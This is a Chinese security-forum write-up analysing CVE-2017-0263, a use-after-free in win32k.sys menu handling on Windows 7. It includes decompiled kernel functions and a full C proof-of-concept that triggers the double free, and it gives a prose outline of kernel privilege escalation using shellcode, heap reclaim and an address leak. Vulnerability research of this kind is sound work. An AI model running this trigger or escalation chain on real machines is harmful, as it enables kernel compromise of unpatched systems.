首页
社区
课程
招聘
[原创]CVE-2017-0263win32k.sys内核漏洞分析
发表于: 2020-12-1 23:12 14206

[原创]CVE-2017-0263win32k.sys内核漏洞分析

2020-12-1 23:12
14206

自从上次分析了CVE-2015-2546后并阅读了win32k用户回调的知识后 在小刀师傅的博客上看到了有关这个漏洞的相关知识 是一个菜单管理相关的漏洞

CVE-2017-0263是一个win32k的菜单管理组件中的一个UAF漏洞 函数win32k!xxxMNEndMenuState中释放全局菜单状态对象的成员域pGlobalPopupMenu

指向的根弹出菜单对象时 没有将该成员域置零 导致该成员仍然指向已被释放的内存区域 即有可能再次使用

目标系统:Windows 7 32位

调试器:WinDbg

反汇编器:IDA Pro

xxxTrackPopupMenuEx负责菜单的弹出和追踪 调用xxxCreateWindowEx函数为即将被显示的菜单对象创建关联的类名称为#32768(MENUCLASS)的菜单窗口对象 类型为MENUCLASS 类型为MENUCLASS的窗口对象指定的的消息处理程序是 xxxMenuWindowProc 内核函数

不过这其中有很多细节 我们再展开的详细一些 大致如此

使用xxxMNEndMenuState函数终止菜单 可通过多种途径到达

在执行完这一切后 由于锁计数尚未归零 因此目标窗口对象仍旧存在于内核中并等待后续的操作

在函数xxxMNEndMenuState执行时 系统调用函数MNFreePopup来释放由当前菜单状态tagMENUSTATE对象的成员域pGlobalPopupMenu指向的根弹出菜单对象

函数MNFreePopup在一开始判断通过参数传入的目标弹出菜单对象是否为当前的根弹出菜单 如果是则调用函数MNFlushDestroyedPopups以遍历并释放成员域ppmDelayedFree 指向的弹出菜单对象延迟释放链表中的各个弹出菜单对象

函数MNFlushDestroyedPopups遍历链表中的每个弹出菜单对象 并标记标志位fDestroyed的对象调用MNFreePopup函数 标志位fDestroyed当初在调用函数xxxMNDestroyHandler时被置位

函数返回后MNFreePopup函数调用HMAssignmentUnlock函数解除spwndPopupMenu等各个窗口的赋值锁 因为在内核中没和窗口对象起始位置存在成员结构体HEAD对象 每当结构体被使用时 锁计数增加 当对象不再被特定组件使用时 锁计数减小 数值为0时 即该对象不再被使用会被释放 调用HMUnlockObjectInternal函数销毁该对象

在函数MNFreePopup的末尾 调用ExFreePoolWithTag函数释放目标弹出菜单tagPOPMENU对象

函数xxxMNEndMenuState在调用函数MNFreePopup释放弹出菜单信息结构体的各个成员域之后 会将当前菜单状态对象的成员域pmnsPrev存储的前菜单状态对象指针赋值给当前线程信息结构体对象的成员域pMenuState指针 通常情况下pmnsPrev的值为0

在弹出菜单期间 系统在各个追踪弹出菜单的函数或系统服务中都是通过线程信息对象的成员域pMenuState指针来获取菜单状态的 如果赋值为其他值 就会导致触发漏洞失败 所以抵达xxxMNEndMenuState必须在系统充值pMenuState之前进行

而在释放函数释放成员域 pGlobalPopupMenu指向的根弹出菜单对象和重置线程信息对象的成员域 pMenuState之间 只有两个函数调用

首先已经得到漏洞点出在win32k!xxxMNEndMenuState函数中 看一些关于这个函数的事情 这个函数会调用MNFreePopup函数 上面也解释过

在函数的最后将P指针释放后 并没有对指针置零 所以导致野指针的出现 出现了漏洞 crash的思路就是控制程序让根菜单对象二次释放

现在的问题是如何二次释放?

在弹出菜单的时候 有一个阴影窗口的概念 当我们创建每个窗口的时候 会产生与之对应的阴影窗口 每个阴影窗口也都有tagWND 但阴影窗口没有专门的窗口消息处理函数 所以我们可以在用户进程中将窗口对象的消息处理函数成员域改为由用户进程自定义处理消息处理函数 在自定义窗口中 再次触发菜单终止的任务 就可以导致二次释放

阴影窗口使用xxxAddShadow来创建对象(或许我该在上面窗口那部分讲 但总归是觉得放在这里好些)使用断点查看阴影窗口的创建过程 使用xxxTrackPopupMenuEx函数来创建 其中会调用xxxCreateWindowEx 而hook就是在调用xxxCreateWindowEx过程中

在函数调用中 使用xxxCreateWindowEx创建窗口对象成功后 函数向该窗口对象发送WM_MCCREATE消息 这一步通过xxxSendMessage函数实现 而xxxSendMessage函数又会调用xxxSendMessageTimeout函数 而在调用xxxSendMessageTimeout之前 会调用xxxCallHook函数来调用先前由用户进程设定的WH_CALLWNDPROC类型的挂钩处理程序 则我们可以将其执行到我们的挂钩函数中进程Hook

emmm 使用小刀师傅的poc查看函数的执行流 代码如下:

至此 触发代码分析完毕~

运行之后WinDbg断下 使用!analyze分析漏洞原因 然后kv查看函数栈回溯 我们可以观察到同一块地址被释放了两次

)

触发成功 我们来整理一下

tag:这里需要解释一下 在我们自定义的阴影窗口中明明没有调用xxxMNEndMenuState函数却为什么说调用 先来看看这段代码

NtUserMNDragLeave函数系统在进行一系列的判断和调用之后 最终在函数xxxUnlockMenuState中调用xxxMNEndMenuState函数:

现在唯一知道的可以利用点就是在消除阴影窗口对象的时候 会调用我们的自定义阴影窗口处理函数 所以我们只能从这个阴影窗口对象入手

首先是shellcode地址的分配 使用了结构体存储利用相关的数据

在用户空间分配完整内存页RWX内存块存储shellcode的相关内容 并将shellcode拷贝到成员域pfWindProc起始的内存地址

接下来执行xxTrackExploitEx函数 调用CreateWindowEx函数来创建大量的窗口对象 然后伪造tagPOPUPEMENU由后面的实现

代码接下来获取tagCLS地址并存储在结构体SHELLCODE对象中

然后调用 VirtualProtect函数在调用进程的虚拟地址空间中更改对提交页面区域的保护

接下来在xxTrackExploitEx函数中调用了xxRegisterWindowClassW函数来注册窗口类和再次xxCreateWindowExW函数来创建窗口对象

前面伪造的tagPOPUPMENU对象重新占用了先前释放的根菜单对象的内存区域 并且其各个成员域在利用代码中分配时可以实施完全控制 但前面并未对成员域进行有效设置 则在执行xxxMNEndMenuState中解锁各个指针成员域指向的对象时会触发缺页异常等错误 所以就有了下面0x200的扩展区域

这里第二次创建新的载体窗口对象hWindowMain具有0x200字节大小的扩展区域 在利用代码中将用来伪造各种相关的内核用户对象 以使系统从新执行xxxMNEndMenuState期间 执行流能够稳定的执行

通过HMValidateHandle内核对象地址泄露技术获取载体对象的tagWND内核地址

tagWND的头部是一个THRDESKHEAD成员结构体对象 完整的如下 pSelf指向所属用户对象的内核首地址 加上tagWND结构体的大小定位到当前窗口对象扩展的内核地址

然后调用SetWindowLongW函数来更改窗口的属性 将载体窗口对象的扩展区域预留4字节 将剩余0x1FC字节的内存区域全部填充为扩展区域+0x04字节偏移的地址 填充的数值将作为各种伪造对象的句柄 引用计数或对象指针成员域 伪造的原因是xxxMNEndMenuState在执行的初始阶段调用函数MNEndMenuStateNotify用来通知窗口对象所属线程和当前菜单状态所属线程不同的情况下 清理了通知线程的线程信息对象的成员域pMenuState数值 伪造的tagPOPUPMENU对象已覆盖原有数据 所以要继续伪造对象

这两行代码单独拿出来说 成员标志位bServerSideWindowProc位于tagWND对象标志成员域的第18比特位 之前的两个标志位是bDialogWindow和bHasCreatestructName标志位 而bDialogWindow是bServerSideWindowProc所在字节的起始位置比特位 bServerSideWindowProc是用来决定所属窗口对象的消息处理函数属于服务端还是客户端 前面也说到过 该位置置位会使当前线程在内核上下文调用目标窗口对象消息处理函数

所以我们在利用代码填充载体窗口对象扩展区域内存期间 增加通过内核地址泄露技术获取窗口对象成员域bDialogWindow的地址调用 然后对先去初始化的SHELLCODE对象成员域pfnWindProc起始地址设置为载体窗口对象hWindowHunt的消息处理函数

接下来就是调用 xxWindowHookProc函数 其中调用函数xxShadowWindowProc然后调用函数SetClassLong函数对刚才大量的窗口对象设置MENUNAME字段的方式实现 而MENUNAME字段属于WCHAR字符串格式 因此在初始化缓冲区时需要将所偶数值设置为不包含连续2字节为0的情况 通过调用函数SetClassLongW为目标窗口对象设置MENUNAME字段时 系统最终在内核中为窗口对象所属的窗口类tagCLS对象的成员域分配并设置UNICODE字符串缓冲区

由于成员域lpszMenuName指向的缓冲区和弹出菜单tagPOPUPMENU对象的缓冲区同样是进程配额的内存块 大小形同 那么MENUNAME可以成为伪造的tagPOPMENU对象

SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc); //函数xxWindowHookProc

在自定义阴影窗口xxShadowWindowProc的最后 调用NtUserMNDragLeave之后 增加对载体窗口对象发送自定义提权消息0x9F9F的调用语句 并返回保存在bDoneExploit中

接下来又回到xxShadowWindowProc函数 然后函数调用xxWindowEventProc函数

在xxWindowEventProc函数中 首先指定了很多成员域 然后调用xxHMValidateHandle 这个函数在根据判断调用xxGetHMValidateHandle函数查找并计算HMValidateHandle函数地址

接下来在利用代码中获取窗口对象等类型用户对象的地址的时机调用该函数并传入对象句柄 调用成功则返回目标对象在用户进程桌面堆中的映射地址

接下来就是调用TrackPopupMenuEx函数来显示菜单了

然后回到main函数中 执行创建cmd窗口函数

至此 代码分析结束~

利用成功~

我们已经知道是在xxxMNEndMenuState函数中 所以直接用Bindiff看 当我看到这个颜色的时候其实是内心有点崩溃的 这么多改变。。。。

好吧 其实是在xxxMNFreePopup函数中的 他的改变也蛮大的~

可以看到 有一部分没了

好吧 回到伪代码中 一目了然

至此 补丁分析结束 蛮清晰明了的~

本次分析 是在CVE-2014-4113和CVE-2015-2564之后的 这其中 多多少少有很多的联系 在小刀师傅的博客中 总是能get到很多东西的

小刀师傅的文章:从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件 - 小刀志 (xiaodaozhi.com)

0x2l师傅的文章:CVE-2017-0263 Win32k漏洞分析笔记 - 0x2l's blog

用户回调:https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf

win32k思路:win32k.sys 漏洞挖掘思路解读 (seebug.org)

SDK窗口: Windows SDK窗口创建和消息机制理解_code_greenhand的博客-CSDN博客

本来是没打算调试这个漏洞的 但在复习CVE-2015-2546的时候 看到小刀师傅的博客中提到了这个 恰巧还是UAF 由此 产生想法 所以有此~

自己总归是菜的一

许许多多的东西不会

学过的东西忘记惹~

很多东西似懂非懂 ~

确实如此 很难走 很难来~

每次和师傅交流的时候 他总是能耐心的给我讲一些东西 让我慢慢来

亦或者另一位师傅告诉我follow my herat~

如此~

end~

 
 
 
int __stdcall xxxTrackPopupMenuEx(int a1, int a2, int xLeft, int yTop, PVOID P, int a6)
 {
 .
 .
 .
 v16 = (_DWORD *)xxxCreateWindowEx(
                   385,
                   (wchar_t *)0x8000,
                   0x8000,
                   0,
                   -2139095040,
                   xLeft,
                   yTop,
                   100,
                   100,
                   (*(_DWORD *)(a1 + 20) & 0x40000000) != 0 ? (unsigned int)P : 0,
                   0,
                   *((_DWORD *)P + 9),
                   0,
                   1537,
                   0);        //该函数设置窗口对象tagWND和弹出菜单对象tagPOPUPMENU
.
.
.
}
int __stdcall xxxTrackPopupMenuEx(int a1, int a2, int xLeft, int yTop, PVOID P, int a6)
 {
 .
 .
 .
 v16 = (_DWORD *)xxxCreateWindowEx(
                   385,
                   (wchar_t *)0x8000,
                   0x8000,
                   0,
                   -2139095040,
                   xLeft,
                   yTop,
                   100,
                   100,
                   (*(_DWORD *)(a1 + 20) & 0x40000000) != 0 ? (unsigned int)P : 0,
                   0,
                   *((_DWORD *)P + 9),
                   0,
                   1537,
                   0);        //该函数设置窗口对象tagWND和弹出菜单对象tagPOPUPMENU
.
.
.
}
NtUserTrackPopupMenuEx
-->xxxTrackPopupMenuEx
-->xxxSetWindowPos//设置tagWND在屏幕中的坐标并显示在屏幕上
-->xxxEndDeferWindowPosEx
-->xxxSendChangedMsgs
-->xxxAddShadow
-->xxxMenuWindowProc
NtUserTrackPopupMenuEx
-->xxxTrackPopupMenuEx
-->xxxSetWindowPos//设置tagWND在屏幕中的坐标并显示在屏幕上
-->xxxEndDeferWindowPosEx
-->xxxSendChangedMsgs
-->xxxAddShadow
-->xxxMenuWindowProc
-->xxxMenuWindowProc//接收MN_ENDMENU(0x1F3) 消息值开始销毁
-->xxxEndMenuLoop//隐藏菜单的显示和销毁预处理
-->xxxMNDismiss
-->xxxMNCancel执行菜单取消
-->xxxMNCloseHierarchy
-->xxxDestroyWindow//销毁菜单(xxxSetWindowPos隐藏目标菜单窗口-->xxxSendChangedMsgs 发送窗口位置已改变的消息-->调用函数 xxxRemoveShadow移除阴影窗口对象)
-->xxxFreeWindow //执行对目标窗口对象的后续销毁操作(执行完下面四步后再次执行xxxRemoveShadow函数移除阴影窗口对象的关联)
-->xxxWrapMenuWindowProc//消息处理
-->xxxMenuWindowProc//接收消息调用下一步函数
-->xxxMNDestroyHandler//清理相关数据
-->xxxMenuWindowProc//接收MN_ENDMENU(0x1F3) 消息值开始销毁
-->xxxEndMenuLoop//隐藏菜单的显示和销毁预处理
-->xxxMNDismiss
-->xxxMNCancel执行菜单取消
-->xxxMNCloseHierarchy
-->xxxDestroyWindow//销毁菜单(xxxSetWindowPos隐藏目标菜单窗口-->xxxSendChangedMsgs 发送窗口位置已改变的消息-->调用函数 xxxRemoveShadow移除阴影窗口对象)
-->xxxFreeWindow //执行对目标窗口对象的后续销毁操作(执行完下面四步后再次执行xxxRemoveShadow函数移除阴影窗口对象的关联)
-->xxxWrapMenuWindowProc//消息处理
-->xxxMenuWindowProc//接收消息调用下一步函数
-->xxxMNDestroyHandler//清理相关数据
-->xxxDestroyWindow执行返回后回到下面
-->xxxMNCloseHierarchy//对成员域进程置空
-->xxxMNCancel//继续返回到此处-->-->xxxDestroyWindow//销毁当前菜单对象
-->xxxTrackPopupMenuEx返回到此处对关联的弹出窗口置位
-->xxxMenuWindowProc返回到此处调用-->xxxMNEndMenuState清理非模态类型的菜单状态信息并释放相关对象
-->xxxDestroyWindow执行返回后回到下面
-->xxxMNCloseHierarchy//对成员域进程置空
-->xxxMNCancel//继续返回到此处-->-->xxxDestroyWindow//销毁当前菜单对象
-->xxxTrackPopupMenuEx返回到此处对关联的弹出窗口置位
-->xxxMenuWindowProc返回到此处调用-->xxxMNEndMenuState清理非模态类型的菜单状态信息并释放相关对象
 
void __stdcall MNFreePopup(PVOID P)
{
  int v1; // eax
 
  if ( P == *((PVOID *)P + 8) )        //判断是否为当前根菜单
    MNFlushDestroyedPopups(P, 1);
    .
    .
    .
}
void __stdcall MNFreePopup(PVOID P)
{
  int v1; // eax
 
  if ( P == *((PVOID *)P + 8) )        //判断是否为当前根菜单
    MNFlushDestroyedPopups(P, 1);
    .
    .
    .
}
int __stdcall MNFlushDestroyedPopups(int a1, int a2)
{
  int v2; // esi
  int result; // eax
  _DWORD *v4; // ecx
  _DWORD *v5; // ST00_4
 
  v2 = a1;
  for ( result = a1 + 36; *(_DWORD *)result; result = v2 + 36 ) //每个fDestroyed遍历调用MNFreePopup函数
  {
    v4 = *(_DWORD **)result;
    if ( **(_DWORD **)result & 0x8000 )
    {
      v5 = *(_DWORD **)result;
      *(_DWORD *)result = v4[9];
      MNFreePopup(v5);
    }
    else if ( a2 )
    {
      *v4 &= 0xFFFEFFFF;
      *(_DWORD *)result = *(_DWORD *)(*(_DWORD *)result + 36);
    }
    else
    {
      v2 = *(_DWORD *)result;
    }
  }
  return result;
}
int __stdcall MNFlushDestroyedPopups(int a1, int a2)
{
  int v2; // esi
  int result; // eax
  _DWORD *v4; // ecx
  _DWORD *v5; // ST00_4
 
  v2 = a1;
  for ( result = a1 + 36; *(_DWORD *)result; result = v2 + 36 ) //每个fDestroyed遍历调用MNFreePopup函数
  {
    v4 = *(_DWORD **)result;
    if ( **(_DWORD **)result & 0x8000 )
    {
      v5 = *(_DWORD **)result;
      *(_DWORD *)result = v4[9];
      MNFreePopup(v5);
    }
    else if ( a2 )
    {
      *v4 &= 0xFFFEFFFF;
      *(_DWORD *)result = *(_DWORD *)(*(_DWORD *)result + 36);
    }
    else
    {
      v2 = *(_DWORD *)result;
    }
  }
  return result;
}
 
 
 
 
UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);    //uButtonDownHitArea存储鼠标点击坐标为u与窗口对象指针
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);    //uDraggingHitArea存储鼠标拖拽左边位于窗口对象指针
UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);    //uButtonDownHitArea存储鼠标点击坐标为u与窗口对象指针
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);    //uDraggingHitArea存储鼠标拖拽左边位于窗口对象指针
void __stdcall MNFreePopup(PVOID P)
{
  int v1; // eax
 
  if ( P == *((PVOID *)P + 8) )        //判断是否为当前根菜单
    MNFlushDestroyedPopups(P, 1);
  v1 = *((_DWORD *)P + 2);
  if ( v1 && (*(_WORD *)(v1 + 42) & 0x3FFF) == 668 && P != &gpopupMenu )
    *(_DWORD *)(v1 + 176) = 0;
  HMAssignmentUnlock((char *)P + 8);
  HMAssignmentUnlock((char *)P + 12);
  HMAssignmentUnlock((char *)P + 16);
  UnlockPopupMenu(P, (char *)P + 20);
  UnlockPopupMenu(P, (char *)P + 24);
  HMAssignmentUnlock((char *)P + 4);
  HMAssignmentUnlock((char *)P + 28);
  if ( P == &gpopupMenu )
    gdwPUDFlags &= 0xFF7FFFFF;
  else
    ExFreePoolWithTag(P, 0);
}
void __stdcall MNFreePopup(PVOID P)
{
  int v1; // eax
 
  if ( P == *((PVOID *)P + 8) )        //判断是否为当前根菜单
    MNFlushDestroyedPopups(P, 1);
  v1 = *((_DWORD *)P + 2);
  if ( v1 && (*(_WORD *)(v1 + 42) & 0x3FFF) == 668 && P != &gpopupMenu )
    *(_DWORD *)(v1 + 176) = 0;
  HMAssignmentUnlock((char *)P + 8);
  HMAssignmentUnlock((char *)P + 12);
  HMAssignmentUnlock((char *)P + 16);
  UnlockPopupMenu(P, (char *)P + 20);
  UnlockPopupMenu(P, (char *)P + 24);
  HMAssignmentUnlock((char *)P + 4);
  HMAssignmentUnlock((char *)P + 28);
  if ( P == &gpopupMenu )
    gdwPUDFlags &= 0xFF7FFFFF;
  else
    ExFreePoolWithTag(P, 0);
}
 
 
 
ba e1 win32k!xxxAddShadow
ba e1 win32k!xxxAddShadow
 
#include <stdio.h>
#include <Windows.h>
 
#define MN_ENDMENU 0x1F3        //处理窗口消息
 
static constexpr UINT num_PopupMenuCount = 2;
static HMENU hpopupMenu[num_PopupMenuCount] = { 0 };
static UINT  iMenuCreated = 0;
static UINT iShadowCount = 0;
static HWND hwndMenuHit = 0;
 
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)//系统中断调用
{
    __asm { mov eax, num };
    __asm { int 2eh };
}
 
CONST UINT num_NtUserMNDragLeave = 0x11EC;    //
 
LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)                                //阴影窗口处理
{
    if (msg == WM_NCDESTROY)//如果是WM_NCDESTROY类型 就直接调用NtUserMNDragLeave服务
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}
 
VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)                                //事件通知处理
{
 
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);//弹出的子菜单已经显示 发送MN_ENDMENU菜单终止消息
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); //向参数句柄hwnd指向的菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息 xxxMenuWindowProc接收处理该消息 然后调用xxxMNOpenHierarchy创建新的弹出子菜单的相关对象 接着调用xxxWindowEvent发送EVENT_SYSTEM_MENUPOPUPSTART事件通知再次进入xxxWindowEventProc函数
    }
}
 
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)    //挂钩处理函数进程Hook
{
 
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (cwp->message != WM_NCCREATE)        //根据参数lParam指向的成员域message判断当前处理的消息是否为WM_NCCREATE消息
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
 
    if (!wcscmp(szTemp, L"#32768"))        //当类为"#32768"时为菜单窗口来纪录句柄
    {
        hwndMenuHit = cwp->hwnd;
    }
 
    if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)    //判断窗口类名称的位置增加判断是否为SysShadow
    {
        iShadowCount++;
 
        if (iShadowCount == 3)    //每个弹出菜单窗口对象都调用了两次xxxRemoveShadow函数 则当指向到第三次的时候才可执行SetWindowLongW函数
        {
            SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);//将目标阴影窗口改为自定义阴影窗口消息处理函数
        }
        else    //否则通过调用函数 SetWindowPos对先前保存句柄指向的类名称为#32768的窗口对象依次设置SWP_HIDEWINDOW和 SWP_SHOWWINDOW状态标志使窗口先隐藏后显示 再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象
        {
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);//触发创建新的阴影窗口关联的逻辑
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
        }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}
 
int main()
{
 
    LPCSTR szMenuItem = "item";
    MENUINFO mi = { 0 };
    mi.cbSize = sizeof(mi);
    mi.fMask = MIM_STYLE;
    mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
 
    HMENU hpopupMenu[2] = { 0 };
 
    hpopupMenu[0] = CreatePopupMenu();//创建两个非模态的可弹出菜单对象
    hpopupMenu[1] = CreatePopupMenu();
    SetMenuInfo(hpopupMenu[0], &mi);//设置两个指定菜单的信息
    SetMenuInfo(hpopupMenu[1], &mi);
 
    AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);//添加菜单项
    AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);//是第一个的子菜单
 
    WNDCLASSEXW wndClass = { 0 };
    wndClass = { 0 };
    wndClass.cbSize = sizeof(WNDCLASSEXW);
    wndClass.lpfnWndProc = DefWindowProcW;
    wndClass.cbWndExtra = 0;
    wndClass.hInstance = GetModuleHandleA(NULL);
    wndClass.lpszMenuName = NULL;
    wndClass.lpszClassName = L"WNDCLASSMAIN";
    RegisterClassExW(&wndClass);
    HWND hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
        L"WNDCLASSMAIN",
        NULL,
        WS_VISIBLE,
        0// x
        0// y
        1// width
        1// height
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);                                            //创建一个普通的窗口对象作为弹出菜单的拥有者窗口对象
 
    SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
        GetModuleHandleA(NULL),
        GetCurrentThreadId());                            //创建类型为WH_CALLWNDPROC关联当前线程的挂钩程序每次线程将消息发送给窗口对象之前调用
    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
        GetModuleHandleA(NULL),
        xxWindowEventProc,
        GetCurrentProcessId(),
        GetCurrentThreadId(),
        0);                            //创建EVENT_SYSTEM_MENUPOPUPSTART的关联当前进程和线程的事件通知消息处理程序 表示目标弹出菜单已被显示在屏幕上
 
    TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);    //第一个菜单创建弹出
 
    MSG msg = { 0 };
    while (GetMessageW(&msg, NULL, 0, 0))        //消息循环
    {
        TranslateMessage(&msg);
        DispatchMessageW(&msg);
    }
 
    return 0;
}
#include <stdio.h>
#include <Windows.h>
 
#define MN_ENDMENU 0x1F3        //处理窗口消息
 
static constexpr UINT num_PopupMenuCount = 2;
static HMENU hpopupMenu[num_PopupMenuCount] = { 0 };
static UINT  iMenuCreated = 0;
static UINT iShadowCount = 0;
static HWND hwndMenuHit = 0;
 
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)//系统中断调用
{
    __asm { mov eax, num };
    __asm { int 2eh };
}
 
CONST UINT num_NtUserMNDragLeave = 0x11EC;    //
 
LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)                                //阴影窗口处理
{
    if (msg == WM_NCDESTROY)//如果是WM_NCDESTROY类型 就直接调用NtUserMNDragLeave服务
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}
 
VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)                                //事件通知处理
{
 
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);//弹出的子菜单已经显示 发送MN_ENDMENU菜单终止消息
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); //向参数句柄hwnd指向的菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息 xxxMenuWindowProc接收处理该消息 然后调用xxxMNOpenHierarchy创建新的弹出子菜单的相关对象 接着调用xxxWindowEvent发送EVENT_SYSTEM_MENUPOPUPSTART事件通知再次进入xxxWindowEventProc函数
    }
}
 
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)    //挂钩处理函数进程Hook
{
 
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (cwp->message != WM_NCCREATE)        //根据参数lParam指向的成员域message判断当前处理的消息是否为WM_NCCREATE消息
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
 
    if (!wcscmp(szTemp, L"#32768"))        //当类为"#32768"时为菜单窗口来纪录句柄
    {
        hwndMenuHit = cwp->hwnd;
    }
 
    if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)    //判断窗口类名称的位置增加判断是否为SysShadow
    {
        iShadowCount++;
 
        if (iShadowCount == 3)    //每个弹出菜单窗口对象都调用了两次xxxRemoveShadow函数 则当指向到第三次的时候才可执行SetWindowLongW函数
        {
            SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);//将目标阴影窗口改为自定义阴影窗口消息处理函数
        }
        else    //否则通过调用函数 SetWindowPos对先前保存句柄指向的类名称为#32768的窗口对象依次设置SWP_HIDEWINDOW和 SWP_SHOWWINDOW状态标志使窗口先隐藏后显示 再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象
        {
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);//触发创建新的阴影窗口关联的逻辑
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
        }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}
 
int main()
{
 
    LPCSTR szMenuItem = "item";
    MENUINFO mi = { 0 };
    mi.cbSize = sizeof(mi);
    mi.fMask = MIM_STYLE;
    mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
 
    HMENU hpopupMenu[2] = { 0 };
 
    hpopupMenu[0] = CreatePopupMenu();//创建两个非模态的可弹出菜单对象
    hpopupMenu[1] = CreatePopupMenu();
    SetMenuInfo(hpopupMenu[0], &mi);//设置两个指定菜单的信息
    SetMenuInfo(hpopupMenu[1], &mi);
 
    AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);//添加菜单项
    AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);//是第一个的子菜单
 
    WNDCLASSEXW wndClass = { 0 };
    wndClass = { 0 };
    wndClass.cbSize = sizeof(WNDCLASSEXW);
    wndClass.lpfnWndProc = DefWindowProcW;
    wndClass.cbWndExtra = 0;
    wndClass.hInstance = GetModuleHandleA(NULL);
    wndClass.lpszMenuName = NULL;
    wndClass.lpszClassName = L"WNDCLASSMAIN";
    RegisterClassExW(&wndClass);
    HWND hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
        L"WNDCLASSMAIN",
        NULL,
        WS_VISIBLE,
        0// x
        0// y
        1// width
        1// height
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);                                            //创建一个普通的窗口对象作为弹出菜单的拥有者窗口对象
 
    SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
        GetModuleHandleA(NULL),
        GetCurrentThreadId());                            //创建类型为WH_CALLWNDPROC关联当前线程的挂钩程序每次线程将消息发送给窗口对象之前调用
    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
        GetModuleHandleA(NULL),
        xxWindowEventProc,
        GetCurrentProcessId(),
        GetCurrentThreadId(),
        0);                            //创建EVENT_SYSTEM_MENUPOPUPSTART的关联当前进程和线程的事件通知消息处理程序 表示目标弹出菜单已被显示在屏幕上
 
    TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);    //第一个菜单创建弹出
 
    MSG msg = { 0 };
    while (GetMessageW(&msg, NULL, 0, 0))        //消息循环
    {
        TranslateMessage(&msg);
